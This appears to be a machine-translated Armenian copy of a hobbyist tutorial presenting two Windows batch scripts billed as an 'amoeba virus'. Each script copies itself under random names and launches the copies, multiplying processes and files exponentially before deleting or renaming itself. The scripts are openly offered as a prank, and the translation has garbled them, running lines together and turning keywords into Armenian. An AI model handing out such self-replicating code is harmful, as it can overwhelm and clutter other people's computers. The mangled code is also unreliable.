Բովանդակություն:

Սարսափելի ամեոբայի վիրուսը ՝ խմբաքանակի օգտագործմամբ. 3 քայլ
Սարսափելի ամեոբայի վիրուսը ՝ խմբաքանակի օգտագործմամբ. 3 քայլ

Video: Սարսափելի ամեոբայի վիրուսը ՝ խմբաքանակի օգտագործմամբ. 3 քայլ

Video: Սարսափելի ամեոբայի վիրուսը ՝ խմբաքանակի օգտագործմամբ. 3 քայլ
Video: Կենսաբանություն։Քննական 9։Մաս 1 2024, Նոյեմբեր
Anonim
Սարսափելի ամեոբայի վիրուսը `օգտագործելով խմբաքանակի սցենար
Սարսափելի ամեոբայի վիրուսը `օգտագործելով խմբաքանակի սցենար

Եթե Ձեզ հետաքրքրում է ծածկագրումը կամ խմբաքանակի սցենարագրումը, իմ վերջին Ible- ը ստուգեք այստեղ: Ես իմացա պրոտիստայի մասին իմ Bio դասարանում: Մանրադիտակի տակ մենք պետք է որսանք կենդանի ամեոբաներ: Կյանքում քիչ է օգտագործվում, բայց դա ինձ գաղափար տվեց, թե ինչպես անվանել իմ վերջին վիրուսը: Ինչպես ոմանք են տեղադրել, վիրուսը, ըստ սահմանման, կրկնօրինակում է: Դե, ես հպարտությամբ եմ ասում, որ ամեոբայի վիրուսները հենց դա են անում:

Քայլ 1: Քայքայվող ամեոբա

Քայքայվող ամեոբան
Քայքայվող ամեոբան

Ես գտա հրահանգներ կատակների համար, որոնք հետևյալն են. @Echo անջատված: Ամեոբաները դա անում են, բայց նրանք իրենց հետևից թողնում են շատ ավելի շատ ամեոբաներ, քան գոյություն ունեին սկզբում: Այս փոքրիկ վիրուսը գործում է, ստեղծում է պատահական անուն, այնուհետև կրկնօրինակում է իրեն, ինչպես երկուական տրոհումը: Տեսակ. Գործընթացը կրկնվում է, և ծրագիրը սկսում է յուրաքանչյուր նոր վիրուս, որն այնուհետև վերարտադրվում է: Մեկը դառնում է երեք, որոնք դառնում են ինը և այլն: Երեք անգամ ինքն իրեն պատճենելուց հետո յուրաքանչյուր ծրագիր ջնջում է իրեն, արդյունավետորեն մեռնում և քայքայվում: Խմբաքանակի սցենարը հետևյալն է. @Echo offcolor 02title Amoebaset/a life = 3: Topif %life %== 0 (del%0) set name =: Loopset / a nameenumber =%RANDOM% / (32767 /25) set / a nameenumber =%RANDOM% / (32767 /25) set / a nameenumber =%RANDOM% / (32767 / 25) եթե%namenumber%== 0 set name = A%name%if%namenumber%== 1 set name = B%name%if%namenumber%== 2 set name = D%name%if%namenumber%== 3 հավաքածու անուն = D%անուն%եթե%namenumber%== 4 set name = E%name%if%namenumber%== 5 set name = F%name%if%namenumber%== 6 set name = G%name% եթե%namenumber%== 7 set name = H%name%if%namenumber%== 8 set name = I%name%if%namenumber%== 9 set name = J%name%if%namenumber%== 10 set name = K%name%if%namenumber%== 11 set name = L%name%if%namenumber%== 12 set name = M%name%if%namenumber%== 13 set name = N%name%if% անվանացանկ%== 14 հավաքածու անուն = O%անուն%եթե%անվանում%== 15 հավաքածու անուն = P%անուն%եթե%անվանում%== 16 հավաքածու անուն = Q%անուն%եթե%անվանում%== 17 հավաքածու անուն e = R%name%if%namenumber%== 18 set name = S%name%if%namenumber%== 19 set name = T%name%if%namenumber%== 20 set name = U%name%if% անվանացանկ%== 21 հավաքածու անուն = V%անուն%եթե%անվանում%== 22 հավաքածու անուն = W%անուն%եթե%անվանում%== 23 հավաքածու անուն = X%անուն%եթե%անվանում%= = 24 հավաքածու անուն = Y%name%if%namenumber%== 25 set name = Z%name%if EXIST%name%.bat goto Loopcopy%0%name%.bat> nulstart /min%name%.batset /a life =%life% Բոլոր խմբաքանակի ֆայլերի դեպքում այս ծրագիրը անվանեք «Amoeba.bat» և պահեք որպես «Բոլոր ծրագրի ֆայլեր»: Այնուհետեւ գործարկեք այն եւ մաքրեք խառնաշփոթը:

Քայլ 2. Հանքայնացված ամեոբա

Բրածո ամեոբա
Բրածո ամեոբա

Քարած ամեոբան նույնն է, ինչ քայքայվող ամեոբան, բացառությամբ, որ այն ընդամենը երկու անգամ է վերարտադրվում, որի վերջում վերանվանվում է որպես տվյալների բազայի ֆայլ ՝ թողնելով անօգուտ ֆայլ կամ «բրածո»: Սցենարը հետևյալն է ՝ @echo offcolor 02title Amoebaset/a life = 2: Topif%life%== 0 (վերանվանել%0%name%.dat) set name =: Loopset/a nameenumber =%RANDOM%/(32767/25) set/a nameenumber =% RANDOM% / (32767 /25) set / a nameenumber =%RANDOM% / (32767 /25) if%namenumber%== 0 set name = A%name%if%namenumber%== 1 set name = B%name% եթե%namenumber%== 2 set name = D%name%if%namenumber%== 3 set name = D%name%if%namenumber%== 4 set name = E%name%if%namenumber%== 5 set name = F%name%if%namenumber%== 6 set name = G%name%if%namenumber%== 7 set name = H%name%if%namenumber%== 8 set name = I%name%if% անվանացանկ%== 9 հավաքածու անուն = J%անուն%եթե%անվանում%== 10 հավաքածու անուն = K%անուն%եթե%անվանում%== 11 հավաքածու անուն = L%անուն%եթե%անվանում%= = 12 հավաքածու անուն = M%name%if%namenumber%== 13 set name = N%name%if%namenumber%== 14 set name = O%name%if%namenumber%== 15 set name = P%name%if%namenumber%== 16 set name = Q%name%if%namenumber%== 17 set name = R%name%if%namenumber%== 18 set name = S%name%if%namenumber %== 19 set name = T%name%if%namenumber%== 20 set name = U%name%if%namenumber%== 21 set name = V%name%if%namenumber%== 22 set name = W %name%if%namenumber%== 23 set name = X%name%if%namenumber%== 24 set name = Y%name%if%namenumber%== 25 set name = Z%name%if EXIST%name%.bat goto Loopif EXIST%name%.dat goto Loopcopy%0%name%.bat> nulstart /min%name%.batset /a life =%life%-1goto TopOnce կրկին, պահպանել որպես «Amoeba.bat»:

Քայլ 3. Օրգանիզմի պայթյունը

Օրգանիզմի պայթյուն
Օրգանիզմի պայթյուն

Եթե ինչ -որ մեկն անջատեք, խնդրում եմ ասեք, թե ինչպես է այն աշխատում: Զվարճանալ! ***************************** Էլ Մանո. Կառուցեք ձեր սեփական CMD հրահանգը Ինչպես թաքցնել համակարգչային ֆայլերը տեխնիկապես անգրագետներից Պահպանեք ձեր աչքերը հիանալի առողջության պարզ անջատիչը ձեզ ջերմ կպահի *****************************

Խորհուրդ ենք տալիս: